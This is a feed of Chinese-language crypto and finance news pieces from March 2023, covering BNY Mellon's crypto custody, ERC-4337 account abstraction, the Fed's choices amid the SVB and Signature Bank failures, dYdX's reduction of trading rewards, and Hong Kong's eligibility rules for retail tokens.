纽约梅隆银行是一家以托管、资产管理、清算业务为主的专业性银行，同时也是全球最大的托管银行，具有230多年的历史（截至2022年第三季度的总托管资产是42.2万亿美元，市场占有率大约为20%），全球第9大资产管理公司（2022年第三季度AUM共计2.4万亿美元）。同时也是最大的美国国债的清算行、券商交易第一大的清算行、全球最大的存托凭证服务提供商。 公司前身为1784年成立的纽约银行，是历史最悠久的美国银行、以及第一家于纽交所上市的公司；自上世纪80年代起，公司经过多轮并购与业务拆分，逐步剥离传统银行业务。2007年，纽约银行与梅隆金融公司合并，诞生了目前的专注于资产托管与资产管理的行业巨头。 纽约梅隆银行不同于传统商业银行，存贷业务的净利息收入仅占19%。从业务结构来看，公司营收主要来自投资服务（Investment Services）和投资管理（Investment and Wealth Management）：投资服务包括资产托管、清算与结算、存托凭证、公司信托、国际支付、流动性管理、抵押品管理等；投资管理包括资产管理和财富管理。公开数据的2020年公司手续费收入中投资服务、投资管理共计90亿美元/37亿美元、分别占比达71%/29%。以多元化手续费收入为主的轻资本运营模式，使公司能够在经济周期、利率周期波动中保持韧性较强的收益；同时以托管和资管为核心的全方位金融服务体系，为客户提供一站式金融服务解决方案，有效的交叉销售与业务合作有助于提升客户综合金融贡献、增强用户粘性。 图表：纽约梅隆银行托管-清算-资管-财富运营体系 图表：纽约梅隆银行收购转型核心事件 通过以上图表和数据可以看出，说纽约梅隆银行是一艘金融航母也不会觉得夸张。不仅历史悠久，也始终在进化的前沿。 那么纽约梅隆银行对加密资产的态度怎么样呢？可以通过一些早期的新闻报道一窥究竟。 2023年1约14日纽约梅隆银行（BNY Mellon）首席执行官Robin Vince在周五的财报电话会议上表示，数字资产是该银行“最长期的投资”，并承认银行必须适应技术变革。然而，Vince也指出，重点不会放在加密货币本身，而是更多地放在“数字资产和分布式账本技术中存在的更广泛机会”。Vince在电话中还表示，他不相信加密货币在不久的将来会成为银行的主要收入来源。 2022年10月22日，据《华尔街日报》11日消息，纽约梅隆银行股份有限公司现在开始提供加密货币业务。纽约梅隆银行获纽约监管机构批准将从本周二开始接收精选客户的加密货币，包括比特币和以太坊。该银行为这些加密货币提供与其股票、债券、商品和其他资产投资组合相同的簿记服务。纽约梅隆银行表示，它是美国八家具有系统重要性的银行中第一家存储加密货币并允许客户为其传统资产和加密资产使用同一个托管平台的银行。 2022年2月23日，全球最大的资产托管机构纽约梅隆银行（BNY Mellon）将集成Chainalysis产品套件以实现加密货币合规性，并成为第一家计划利用Chainalysis的合规软件作为其风险管理计划一部分的全球系统重要性银行。该集成将构成纽约梅隆银行为其客户开发加密货币服务战略的一个组成部分。 2021年3月18号，纽约梅隆银行股份有限公司(Bank of New York Mellon Corp., BK)将投资一家加密货币初创公司，这是华尔街老牌银行拥抱数字资产的最新举措。这家名为Fireblocks的初创公司为比特币和其他加密货币的安全存储和转账构建工具。纽约梅隆银行计划利用Fireblocks的技术来支撑该行上个月推出的一项新业务；在这项新业务中，该行计划代表机构投资者充当数字资产托管人。 不管是开展托管业务，还是与chainalysis和fireblocks的合作，都能看出纽约梅隆银行在基础设施领域做了很多的布局，并非一时跟风，而是建立在对行业认知基础之上的理性布局。 纽约梅隆银行，从不做时代的旁观者，永远在探索，永远在前行 从参与历史到参与深度，纽约梅隆银行对加密资产领域的深耕已经远超很多人对它的认知。 写在最后，纽约梅隆银行，作为一家大型金融机构，对客户本身条件有十分高的要求，不管是业务的合规性，还是对于公司的架构、股东都会有考察，对持牌机构来讲纽约梅隆银行会是一个不错的选择。  ( 4 min )
    一文读懂新上线的「ERC-4337」：不再需要助记词，Web3大规模采用要来了？
    NFT 和 Web3 一直在掀起波澜，但对于加密新人来说，购买和存储它们的过程仍然需要简化。 我记得第一次在 Uniswap 上交易时，我甚至不知道自己在做什么。创建一个加密钱包并将其连接到 DeFi 协议是一场噩梦。 当前，用户与区块链特定智能合约交互的唯一方式是使用他们的 EOA（外部拥有账户）。从将资金发送到 DeFi 流动性池，到将 NFT 转移到市场以出售给其他账户，每一个行为仍然需要单独的交易签名。 虽然我们中的许多加密老手已经接受了这个过程，但初学者？当大多数人已经体验过传统银行业务的便利性时，他们不会喜欢创建和使用 EOA。 这些对于让新用户进入 Web3 领域仍然是一个挑战。 这就是 ERC-4337 的用武之地。 本文将深入探讨 ERC-4337，了解其特性，并探讨其对加密行业和 Web3 的影响。 以太坊有两种不同类型的“账户”： 你可以将合约账户（CA）视为区块链上的代码（智能合约），将 EOA 视为一个人（尽管一个人可以拥有多个 EOA）。 你的 MetaMask 钱包就是一个 EOA。EOA 由一对加密密钥组成：控制账户活动的公钥和私钥。 然而，合约账户没有私钥。它们是智能合约，由其中的代码逻辑控制，不受用户控制。智能合约有能力做任何你可以用代码编写的事情，而 EOAs 基本上只能签署交易。 关键要点是：代码定义合约账户做什么，而用户控制EOA做什么。 每次你想向区块链写入信息，比如转移代币，或者铸造 NFT，都需要进行交易。交易需要 EOA 签名，EOA 也需要支付与这笔交易相关的 Gas 费用。 交易由 EOA 发起，可以发送至： 另一个 EOA，例如，一个 EOA 将 ETH 转移到另一个 EOA。 一个 CA，例如，铸造 NFT。 在区块链上执行操作通常是缓慢而乏味的。每次你想向区块链写入新信息时，你都需要从你的 EOA 中签署一项交易才能这样做。 由于你已经熟悉了这个过程，所以这也成为了一种标准体验。 然而，对于新用户来说，这却是一场噩梦。 下图展示了一个新用户如何通过新的 EOA 在去中心化应用程序（dApp）上执行他们的第一个操作： 这些步骤对于任何新用户来说都是残酷的，无论是否了解区块链这项技术。 但新用户面临的问题还远不止于此。 EOA 风险极大 你可能身边已经熟悉一些因意外泄露或丢失私钥而失去对 EOA 的访问权的朋友。 甚至加密行业有一句谚语：「Not your keys, Not your crypto」。指的是如果其他人（例如黑客）拥有了你的私钥，他们就能够控制你的资金。这一点在过去已经被无数次证明。 这就是残酷的现实，私钥很容易丢失，无法找回。 EOA 能力有限 正如我们之前提到的，EOA 的能力非常有限。 在 EOA 中，你通常会执行以下两种典型操作： 提交交易，将代币转移到另一个 EOA 提交交易，在合约账户上执行某种功能 EOA 永远不会被主流采用 在现实世界中，丢失银行卡并不意味着你就 Game Over 了。 有一些规则允许你将资金更换到新账户、执行支付限额、冻结银行卡、仅允许在特定条件下转移资金等操作。 然而在 Web3 中，如果你犯了一个错误，你的整个账户就会受到损害并且无法恢复。 所以，EOA 与中心化的货币存储相比，甚至是糟糕的。 那么有没有解决方案呢？ 账户抽象是一种允许用户使用 CA 的提议。 但是为什么呢？CA 有哪些 EOA 不能做的事情？ CA 的功能比 EOA 灵活得多。（因为智能合约可以在其代码中定义不同的规则和配置） 下面是一些用例示例： ​ 这些只是 CA 能够提供优于 EOA 的部分功能。关键在于：合约账户是代码。这意味着你可以用代码编写任何东西并在 CA 中实现。 听起来很不错，但我们为什么不立马这样做呢？在回答这个问题之前，让我们快速回顾一下自 2016 年以来有关账户抽象的提案的历史。对以太坊生态系统提出的每项技术升级最初都是从 EIP （以太坊改进提案）开始的。 2016 年：EIP-86——提案允许用户创建执行任何所需签名/随机数检查的“账户合约”，而不是使用当前硬编码到交易处理中的机制。 2020：EIP-2938——创建类型为 AA_TX_TYPE 的新交易标准的提案。这种类型的交易被称为“AA 交易”。 2020：EIP-3074——允许用户将其 EOA 的控制权委托给智能合约的提案。允许任何 EOA 在不部署合约的情况下充当钱包。 这些提案都没有被实现到以太坊中，它们目前都属于“停滞”类别。这意味着它们已经有 6 个月或更长时间处于搁置状态。 这些提案未被实现的部分原因是它们需要对以太坊网络的共识层协议进行更改。（可以简单将“共识层”理解为以太坊系统的后端） 直到 2021 年，EIP-4337 被提出：实现以太坊上的账户抽象，而无需更改共识层！ 在 2023 年 3 月 1 日丹佛的 WalletCon 上，以太坊基金会开发人员官宣 ERC-4337 的核心合约已经通过了 OpenZeppelin 的审计，通过了各项测试。目前审计后的合约已经顺利部署在以太坊主网以及若干测试网，后续也可在各个 EVM 兼容链上运作，包括 Polygon、Optimism、Arbitrum、BNB Smart Chain、Avalanche 和 Gnosis Chain等。 一旦链上治理接受、授权并确认 EIP，它就变成了 ERC（以太坊征求意见，主要是处理协议和开发标准）。 所以先有了 EIP-4337，才有了 ERC-4337。 ERC-4337 旨在将用户 EOA 升级为「智能账户」（类似于 CA），使账户能够作为智能合约运行。这意味着每个加密钱包都可以有可定制的授权逻辑，以满足个人用户或应用程序的需求。所以一些账户抽象的用例就此可以实现，例如恢复丢失的私钥、在没有助记词的情况下保护钱包、执行自动支付、无 Gas 交易等。 ERC-4337 添加了新的 UserOperation 内存池，希望完全取代当前的交易内存池，从而实现账户抽象。用户将 UserOperation 对象发送到以太坊节点，而不是交易，他们将一组这些对象打包成一个包含在以太坊链中的交易。这种打包交易称为“ 入口点 ”智能合约，它处理 UserOperation 对象并为其部署智能合约钱包。 图片：ERC-4337 交易流程，来源于 Nethermind ERC-4337 最明显的好处之一是它可以使加密行业外的普通用户更容易访问以太坊，可以解决用户目前从创建钱包到使用钱包所面临的一些关键问题，让钱包变得更加简单易用。 这也是「抽象」这个词的理解方式。你可以理解为构思，以太坊计划通过 ERC-4337 为用户的账户带来新的想法。或者理解为抽离，允许用户摆脱像 MetaMask 这样的用户账户的传统处理方式——对助记词、个人交易签名和对私钥的过度依赖。 简单来说，基于 ERC-4337 的智能账户的主要特征之一是引入了“社交恢复机制”。如果你丢失了助记词，那么你可以联系之前指定的“监护人”合约或账户来帮助找回访问权限。你也可以启用 2FA（双因素身份验证）和生物识别技术来保护钱包，不一定再需要助记词。 此外，你还可以在钱包中设置自动支付和基于时间的支出限制，能够更有效地管理你的资金。 最后，ERC-4337 允许去中心化应用程序（dApp）赞助 Gas 费，从而使用户的交易更便宜、更简单。 让我们详细看看： 智能账户：智能账户，也被称为账户抽象，正在成为加密行业的一个重要主题。Visa 甚至开发了一种基于智能账户的自动加密账单支付系统。随着 ERC-4337 的实施，智能账户可以提供更高级的功能和用例。 恢复丢失的私钥：ERC-4337 启用了一个“社交恢复机制”，如果你丢失了私钥，那么联系之前指定的用户即可帮你恢复对账户的访问。这解决了加密行业中最重大的风险之一——丢失钱包的私钥。 没有助记词的安全钱包：通过这次升级，用户可以使用 2FA 和生物识别技术来保护账户，使它们更加安全和用户友好。 自动交易：ERC-4337 允许自动交易，包括每月支出限额、AI 交易和调整质押头寸。这些功能可以让用户更容易地进行交易。 无 Gas 交易：ERC-4337 支持无 Gas 交易，这允许 DeFi、链游、DAO 等 dApp 为用户赞助 Gas 费用，从而使用户的交易更便宜。此功能还允许用户使用 dApp 的代币支付 Gas 费用，这可以大幅降低 dApp 的使用成本。 捆绑交易：每笔交易都需要签名。通过账户抽象，可以捆绑交易，将多笔交易作为一个发送，以节省时间甚至节省 Gas 费用。类似购物车，即使面对 10 个市场也能够一笔交易完成打包。 预先批准交易：假设你正在铸造多个 NFT，或者在玩一款游戏。使用智能账户，你可以根据提前设置自定义的钱包代码和会话密钥，预先批准交易。 当前，ERC-4337 有几个潜在的好处和缺点。 优点： 增强了安全性，增加了功能，改进了用户体验。 引入了内置的访问控制、权限和更灵活的代币供应模型，使其比现有代币标准更安全。 灵活的代币供应模型使开发人员能够创建具有可变供应的代币，这对于需要更动态供应的 dApps 及其代币来说很有用。 ERC-4337 中的内置访问控制和权限使用户更容易了解其代币的使用方式并控制他们与 dApp 的交互。在与 dApp 交互时，这会带来更加无缝和用户友好的体验。 缺点： 最显著的缺点之一是它尚未被以太坊社区广泛采用。因此，在获得更多关注和支持之前，开发人员可能会犹豫是否使用它。 ERC-4337 的另一个缺点是它与其他代币标准的兼容性有限。这意味着开发人员可能需要对其现有的 dApp 进行重大更改才能实现它，这可能既耗时又昂贵。 此外，ERC-4337 的新增功能可能会增加 dApp 开发的复杂性，这可能会给不熟悉新标准的开发人员带来更大的挑战。 ERC-4337 有可能提高以太坊网络上 dApp 的功能和安全性。然而，它的成功取决于以太坊社区是否愿意采用它，以及开发人员是否愿意投入必要的时间和资源在他们的 dApp 中实施它。 我认为 ERC-4337 是加密行业和 Web3 中长期存在的可用性问题的解决方案。目前，已经有大量令人惊叹的项目实现了令人难以置信的用例。但是钱包的使用仍然是困扰新用户的一个重要问题。 ERC-4337 引入的可用性和直接性将改变游戏规则。通过将加密钱包与智能合约合并，使交易更加安全和高效，最终使用户的 Web3 体验更加友好。它是使 Web3 成为可以媲美互联网用户“正常”生活方式的催化剂，像 Coinbase 的 L2 Base 已经在使用 ERC-4337 了。 虽然 ERC-4337 的未来尚不确定，但它的推出已经在加密社区内引发了乐观情绪。随着加密货币和 Web3 的不断发展，ERC-4337 可能会为更多进步和创新铺平道路。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 6 min )
    3月还加息吗？高通胀与银行危机并存，美联储陷入两难
    原文：《银行业出现恐慌，美联储陷入两难， 3月还能加息吗？》 作者：比推BitpushNews Linn Liu 在短短一周内，市场的“剧本”已经发生了翻天覆地的变化。自美联储开始加息以应对高通胀以来，已经过去了将近一年的时间。投资者在过去一年中一直关注央行何时可能结束加息行动。起初，很少有投资者将银行倒闭列入他们2023年潜在的市场风险清单之中。 3月13日，美国KBW银行指数大跌11%左右，SPDR区域银行ETF跌幅一度超过12%，均创下过去两年以来的最大单日跌幅。其中，第一共和银行（FRC）跌幅一度超过80%，阿莱恩斯西部银行（Western Alliance Bancorp）则大跌约75%，并遭遇多次熔断；西太平洋合众银行（PacWest Bancorp）跌幅超过48%，嘉信理财也一度大跌逾20%。瑞信周四盘中股价一度曾暴跌超过30%，达到每股1.55瑞士法郎，创下历史新低，加剧了市场恐慌。此前以硅谷银行的破产为开端美国一周内有3间银行接连倒闭，银行业掀起了一场前所未有的恐慌。 现在，随着硅谷银行的破产和由此带来的市场动荡，形势发生了变化。美联储将在下周的政策会议上权衡金融稳定和持续通胀面临的风险。对于投资者而言，这两种担忧突然成为了最首要的问题。 管理着近 73 亿美元资产的 Horizon Investments 投资组合经理Zach Hill对《华尔街日报》表示，近几个月来“抑制通胀确实是美联储的唯一目标，现在，我们引入了金融不稳定的概念。美联储如何平衡这一点并不十分清楚。” 上周，投资者正在争论美联储是否会像官员们在 2 月份那样将利率提高 25 个基点，或像他们在 12 月份那样提高50个基点。现在，投资者们更关心的问题是美联储是否会在下周加息。 标准普尔 500 指数在 2023 年上涨 0.4%，在一系列强于预期的经济数据公布后，该指数几乎回吐了年初的所有涨幅。政府债券收益率在今年大部分时间上涨后暴跌，反映出对市场对安全资产的突然追捧。 通货膨胀依然火爆。劳工部周二表示，2月份的消费者价格指数比一年前上升了6%。尽管物价压力已经连续八个月降温，但通胀率仍然远远高于美联储2%的目标。上周的就业报告讲述了一个类似的故事：美国在2月份增加了31.1万个工作岗位，超过了经济学家的预期，但与1月份的51.7万个岗位相比大幅下降。 CFRA 首席投资策略师Sam Stovall对《华尔街日报》表示：“最近的情况已经变得截然不同，现在我们真正需要讨论的是可能对经济、市场和我们的投资组合产生不利影响的事情。” 市场动荡始于上周四，当时硅谷银行的母公司SVB Financial Group的股价在存款挤兑中暴跌 60% 。该股票周五未开盘交易，当天早上该银行被联邦存款保险公司查封，现在正在探索出售资产的各种可能性。 最近几天，为加密货币公司提供服务的两家最大的银行Silvergate Capital Corp.和Signature Bank也倒闭了。 地区银行股票价格暴跌，但在政府官员采取措施限制影响后又反弹。周二，Moody投资者服务公司下调了对美国银行系统的展望，理由是“经营环境迅速恶化”。 该评级公司将六家美国银行的信用评级列入了可能下调的审查名单中。 在欧洲监管机构联系瑞士信贷，询问其与陷入困境的硅谷银行的金融风险暴露情况后，瑞士信贷的股票和债券价格周三暴跌。 Moody表示，进一步加息可能会使银行的问题恶化。 期货交易员认为，下周继续加息0.25个百分点或不加息的可能性相当。 投资者仍然警惕着是否出现蔓延迹象，摩根大通银行的策略师周一警告称，债券市场的损失可能会给其他资产类别带来压力，如商业房地产、私募股权和风险投资。 期货交易员表示，“当经济放缓且融资成本上升时，所有这些隐性或显性套利交易都被迫平仓，导致周期结束。” 投资者寻求安全资产导致疯狂交易：截至周一，两年期美国国债收益率创下自 1987 年以来的最大三日跌幅。较长期限的国债收益率也大幅下跌。当债券价格上涨时，债券收益率下降。 这场国债上涨行情是短期债券收益率在前一个月稳步上升之后出现的。 Globalt Investments 的投资组合经理Thomas Martin与《华尔街日报》记者交谈时，将市场情绪的突然变化比喻成“就像突然之间，你就挨了一记耳光。” 根据 Quantitative Brokers 的数据，现在的10 年期美国国债期货市场的流动性不到硅谷银行倒闭前水平的一半。流动性下降意味着一个特定的交易可能会对市场价格产生更大的影响。 混乱蔓延到了债券市场以外。标准普尔 500 指数上周下跌 4.5%，这是今年表现最差的一周。在短暂的喘息之后，该指数周三再次暴跌，早盘下跌 1.7%。 KBW 银行指数在过去一周下跌了 22%。周一，华尔街的恐慌指标 Cboe 波动率指数达到数月来的最高水平。根据 Cboe Global Markets 的数据，周五所有股票和交易所交易基金的看跌期权交易量均创下历史新高。而比特币价格飙升。 投资者担心信贷恐慌可能会阻碍地区银行向个人和企业放贷，而这可能会导致经济收缩。追踪小型公司的罗素 2000 指数在过去一周下跌了 7.8%。 这一冲击让投资者开始等待有关它如何影响美联储长期计划的信号，并重新评估他们的投资组合内容。 Hill先生对《华尔街日报》记者说，“我们正在仔细审视我们所拥有的资产，寻找机遇，以及可能存在的问题。” 一些投资者和策略师对于市场仍然持看涨对态度，前提是信贷危机很快平息并且美联储最终决定暂停加息。 CFRA的斯托瓦尔先生对《华尔街日报》表示，他对标普500指数年底的目标价位为4360，大约比当前水平高10%左右。  ( 4 min )
    dYdX的进击？了解交易奖励减少45%的来龙去脉
    3月14日，dYdX社区投票通过DIP-20提案，决定将交易奖励减少45%（约130万枚），剩余的55%（约158万枚）奖励将由国库留存，并可经由社区投票改做他用，其中赞成票比例为83%，反映出dYdX社区围绕DYDX代币的改进迈出了实际的一步。 在市场行情动荡的大气候下，叠加GMX等新锐竞争对手的挤压下，减少交易奖励可以锁定部分流通量，以支撑代币价格，并且可以给予社区更多财政宽裕度，以规划dYdX的未来发展。 目前dYdX的24h交易量在20亿美元左右，减少交易奖励势必会对交易量产生不利影响，整体上，这是dYdX在其V4 Vanguard计划的一部分，核心是通过对 DYDX 的用途和释放标准进行改造。以重新设计激励路径，希望解决 dYdX 存在的交易低效问题。 打击通胀，收归国库 本次更新分配机制的直接原因是市场环境的变化，DYDX代币在近一年的时间里下跌了近70%，而市场份额也面临后起之秀们GMX追击从一年前的95%降至目前的70%。 尽管有一些社区成员不赞成，但鉴于当前的市场状况，在2月15日的投票测试中，共计有776名参与者进行票决，最终以91.6%（约2700万枚）赞成票通过。 并且，分配给流动性提供者的奖励和社区/奖励金库相比分配占比过高，因此对交易奖励需要进行大幅度削减。此外，减少交易奖励也符合 V4 Vanguard 提案中设计的新分配模式。 DYDX 总供应量的初始五年分配模型中，25%比例分配给交易奖励，而LP（流动性提供者）和国库分别只占7.5%和5%，而在协议上线的稳定期，虽然减少了交易奖励至20.2%，但仍然高于LP（7.5%）和金库（16.2%）。 其中，DYDX 总供应量的 50%（5亿枚 DYDX）在 5 年内分配给社区，其余 50% 分配给早期投资者、协议开发者、社区成员和国库等。但是目前只能将把重点限制在社区分配比例上，因为这是唯一可以改变的事情。 按照dYdX机制设计，从推出的五年后开始，每年2%是$DYDX 的通胀率最高限制，因此，dYdX的总体趋势是逐步降低市场上的流通量，以抗衡通胀预期通胀带来的价值稀释。 而本次DIP-20降低交易奖励后，多余的的DYDX将被存入国库，事实上，降低交易奖励存入金库是dYdX历来做法。在之前的DIP-14中，便将质押 USDC 的奖励设置为 0，并将之前分配给 USDC 质押者的约38万枚 DYDX 存入国库中；而在DIP-16中，社区已经决议减少25%的交易奖励，并将交易奖励从 约380万枚DYDX 减少至 约280万枚DYDX，剩余的约 95万枚 DYDX 存入国库；而在DIP-17中，已经将质押 DYDX 的奖励归零，并将之前分发给质押者的约 38万枚 DYDX 存入国库。 经过多轮削弱后，交易奖励仍然占比过高。即使在DIP-16后减少了 25% 的交易奖励之后，交易奖励仍占所有代币释放总额的 44%，仍然有较高的下降空间。 在更新代币模型后，交易奖励削减的DYDX份额将会转移至国库中，以配合即将到来的dYdX V4有足够的资金去支持协议发展，并且dYdX DAO将演化为包含多个subDAO在内的自治体，包括潜在的Growth SubDAO都需要社区提供资金支持。 减少交易奖励的直接原因是为V4升级提供资金支持，但是实行初期必须要面对交易员的出逃和交易量下降的窘境。 目前，已经有超过5千万美元的大户交易员“威胁”要离开dYdX，但是在社区看来依靠补贴的交易量无法维持，具备健壮性的协议必须服务于真正的用户。 而另一个后果会造成投票权的更加集中化趋势。dYdX的主要价值在于社区治理，而投票权与 DYDX 持有量成正比，通过减少未来的供应量，减少交易奖励会直接增加现存 DYDX 的价值。 按照dYdX V4升级协议的部分，交易奖励是其中一系列改进计划的组成部分，总体上遵循提高DYDX代币价值和促进dYdX交易量的目标前进，具体内容包含以下部分： 在基于为奖励分配机制引入新的权重设计和将交易奖励减少约 45%的基础上，希望进入通胀前，以减少社区奖励的方式控制 DYDX 释放量，以最终达到 2% 的通胀率。 如果要进一步消除交易者和LP的准入壁垒，最好的方式是仅根据交易量来奖励LP，而不是采取复杂的质押模式。 因此，目前的交易费用折扣和交易奖励是不公平的机制设计，一方面，交易费用折扣造成了DYDX持有者降低自身的交易成本，这对非持币用户而言并不公平；另一方面，交易奖励已经起到了基于用户支付的费用的回扣的作用，并且 94% 的 DYDX/stkDYDX 持有者并不是协议的活跃交易者。 降低交易奖励和取消交易费用折扣，可以不再奖励低效质押和非活跃交易者，而是为任何参与者，都只根据为协议带来的价值获得奖励。 交易奖励在协议启动初期，总体上是一个简单有效的激励系统。奖励和用户在给定时期内付出的交易费用成正比。从活跃用户的增长率来看，这种机制曾经非常有效，因为它本质上是对所有交易活动的回报，无论他们交易的细分市场和回报如何。但是将交易奖励在开拓激励长尾市场或提高市场交易量的机制，那么效率将会非常之低。 在dYdX协议进入稳定的发展期后，创业初期简单粗暴的激励模式不再适应新时代，需要被更为精细化的市场运营措施取代，最直接的是转向提供更优秀的用户体验，将纯粹的投机者和套利者驱离，以稳固真正的用户群体。  ( 4 min )
    从指数角度分析，香港散户可以合法购买的代币有哪些？
    原文：《从指数角度分析 哪些代币可能被批准香港散户购买》 作者：Colin Wu 本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规 按照香港证监会的最新要求，持牌平台营运者如有意向零售客户提供虚拟资产，亦应确保所挑选的虚拟资产属于合资格的大型虚拟资产，并符合下列特定代币纳入准则。“合资格的大型虚拟资产”指获纳入由至少两个独立指数提供者所推出的至少两个“获接纳的指数”中的虚拟资产。 该指数应是可供投资的，意味着有关的成分虚拟资产应具备充足的流通性。该指数应以客观方式计算，并以规则为本。指数提供者应具备所需的专业知识及技术资源，以便建构、维持和检讨指数的编制方法及规则。 持牌平台营运者应确保在两个指数中至少有一个由在发布传统非虚拟资产金融市场的指数方面具有经验的指数提供者所推出，例如曾推出获证监会认可指数基金跟踪的指数的指数提供者。 根据 @tier10k 统计，目前五个主流传统机构推出的指数，其中排名如表格内记录。比特币 BTC 、以太坊 ETH 记录在所有的指数中；排名第二的是莱特币 LTC 与波卡 DOT、有四个指数列入；排名第三的是比特币现金（BCH）、SOL，有三个指数计入；排名第四的是 Cardano Avalanche Polygon 和 Chainlink，有两个指数计入。除此之外，EOS BNB STOM FIL ETC XLM UNI 等也被计入一次。不过需要注意的是，各大指数也会随着行情变化而有所增减。 值得注意的是，香港证监会强调的是只需要被纳入一个传统指数，也就是说上述被纳入一次的均有机会。因为例如 CoinDesk 推出的指数中包含就比较广泛，包含了 28 个加密货币。此外还有各种不同分类的例如 DeFi 娱乐 智能合约平台指数等。 阅读更多： https://www.coindesk.com/indices/cmis/ Kaiko Research 对此也进行了详细讨论，强调了流动性的重要性： 仅使用市值来衡量代币的价值是不够的，我们需要结合其他指标，特别是流动性。流动性是指数构建的标准之一在传统金融中司空见惯，加密货币也不例外。根据纳斯达克的说法，他们的指数是使用“严格的流动性标准”构建的。我不确定这如何证明持有 XLM、ETC 或 UNI 是合理的。12 月，我根据流动性对前 28 名代币进行了排名：XLM 垫底，UNI 排在第 22 位，而 ETC 流动性不足甚至无法被包括在内。 比特币现金、波卡和莱特币的纳入让我从流动性的角度担心，我相信如果证监会要纳入大盘资产，他们必须在选择时使用流动性更高的代币。首先，这三个代币在 2% 的市场深度中排名都很差，衡量的是当前交易所订单簿上的订单量在当前价格的 2% 以内。 我们需要一种更稳健的指数构建方法，将流动性与市值一起考虑在内。DOGE 更值得 SFC 考虑，因为它具有非常优越的流动性。从基本面和流动性的角度来看，根据 SFC 的新规则可以考虑的一些代币并不是最优质的。这实际上是加密货币指数构建的一个问题，但证监会需要适当考虑流动性，因为他们可能会排除一些基本面和流动性更好的代币，因为它们没有被纳入两个指数。新参数中包含的任何代币都应该看到新的投资和改善的情绪，而亚洲可能越来越有能力迎接新一轮的加密投资浪潮。 阅读更多： https://blog.kaiko.com/a-crypto-friendly-asia-what-it-will-mean-for-markets-47237b2a4384?source=collection_home---4------0-----------------------  ( 4 min )
    Circle CEO：将减少银行存款规避风险，银行系统风险尚未完全消失
    PANews 3月16日消息，据The Daily Hodl报道，Circle首席执行官Jeremy Allaire称在美国联邦政府出手保护现已倒闭的硅谷银行的储户几天后，银行系统面临的风险并未完全消失，Circle将通过减少银行存款来保护自己。他表示：”从我们的角度来看，主要的预防措施是让我们确保尽可能少地暴露在部分准备金银行系统中的隐含风险，关注那些真正不具有重大风险的现金保管方“。  ( 4 min )
    对话Signature Bank董事会成员、前美国众议员Barney Frank：硅谷银行的倒闭该怪谁？
    原文：《Barney Frank Talks More About the Surprise Shuttering of Signature Bank》by Jen Wieczner 编译：Katie 辜 过去一周突然出现的一连串银行倒闭，让许多银行家想起了 2008 年金融危机的惨痛回忆。在硅谷银行（Silicon Valley Bank）于上周五“轰然崩塌”之后，华尔街和其他金融机构试图弄清问题出在哪里，以及监管机构为何忽视了种种前兆。 就在周日奥斯卡颁奖典礼前夕，纽约监管机构宣布，他们已经关闭并“接管”了 Signature Bank，这是一家曼哈顿的机构，主要客户涉及一些大型的加密货币公司，包括纽约房地产市场的参与者等客户。 这一消息几乎让所有人都措手不及，包括前国会议员、具有里程碑意义的多德-弗兰克（Dodd-Frank）银行系统监管条例的设计者 Barney Frank，他也恰好是 Signature 的董事会成员。在最近的银行危机中，这位曾经让金融监管机构盯上银行的人，如今却淌入了银行倒闭的浑水中，这实在是太具有讽刺意味了。 媒体暗指 Barney Frank 也在经历“雷曼时刻”。Barney Frank 很快发言暗指 Signature 是政治攻击的受害者，他周一告诉 CNBC：“监管机构想要发出一个非常强烈的反加密信号。”而纽约金融服务管理局（DFS）周二反驳了这一说法，并告诉彭博社：“它对银行领导层存在信任危机”。但在《纽约时报》的一次新采访中，Barney Frank 反驳了该观点，并在圣约翰发表讲话，解释了他为什么指责监管机构不合理地让 Signature Bank 停业，以及他对加密货币银行的真实看法，并为自己辩护，反对那些指责他改变立场的批评者。 以下是对 Barney Frank 的专访内容。 我只能从 Signature 的角度告诉你，硅谷银行非理性地引发了 Signature Bank 的存款挤兑。因为无论硅谷银行在高科技和加密货币方面具备的条件，我们都不具有。我们不是一家大型高科技贷款机构。我们是纽约市的一个大型住房贷款机构，涉及的更多是商业地产。我们并没有把加密货币作为我们自己的资产。我们只是允许我们的两家客户彼此使用加密货币进行交易，我们只是交易“撮合者”的角色。 但我们拥有远远超过 25 万美元大额存款的大储户。这是因为我们的客户群是由主要的房地产所有者组成的。多年前，当我们制定最初的多德-弗兰克法案时，我希望将存款担保扩大到那些手头必须有大量现金的企业。由于各种各样的政治原因，我没能做到。所以你也看到了硅谷正在经历“滑铁卢”。有些人认为我们是一家加密银行；其次，我们有大量未投保的存款。所以他们惊慌失措，开始撤资。这就是周五下午发生的事情。 如果联邦存款保险公司（FDIC）和美联储（Fed）提前采取措施，我们就不会有任何麻烦了。其次，如果他们允许我们在周一开业，我们的现状会很好，我们本来可以继续运作。Signature Bank 的关闭让很多人感到惊讶，因为它最初似乎没有受到今年早些时候 Silvergate 银行挤兑的影响。Silvergate 是一家总部位于加州的银行，主要服务于加密货币行业。 我得知负责交割的纽约金融服务管理局（Department of Financial Services）并没有说我们破产了。他们只是说“他们遇到了一个问题，因为他们无法获得足够的数据”。当他们关闭 Signature Bank 时，我很失望，他们并没有说我们破产了。如果纽约金融服务管理局这两项声明能向市场发出积极的信号，那我们仍将是一家持续经营的银行。 我认为这可能是为了传递这样一个信息，即尽管我们兢兢业业从事加密业务，但监管不希望银行从事加密业务。他们在声明中否认了这一点。我认为他们对他们所看到的数据问题反应过度了，数据问题可能是存在的，但数据正在改善。我认为，草率的数据不能成为关闭一家尚未被认定为资不偿债的银行的理由，他们也从未说过我们资不偿债。 这个问题确实令人担忧。我不想就这个问题发表个人评论，因为作为一名董事，我可能会卷入任何人提起的任何诉讼。我想知道我们是第一家不破产但完全关闭的银行吗？如果是，这是为什么？我认为纽约金融服务管理局、纽约州的人民应该回答这个问题。 这就是为什么我推测，政府把我们拿来“杀鸡儆猴”，想向市场发出一个强烈的“远离加密货币”的信号。 并没有任何提前“预警信号”。2 月中旬，我参加了一次与监管机构的会议。没有任何迹象表明我们有被关闭的危险。当时没有迹象表明这一点。很难想象一周内发生了什么。 我认为他们没有必要这样做。但我认为银行已经开始退出加密货币行业。监管“杀鸡儆猴”可能已经奏效了。 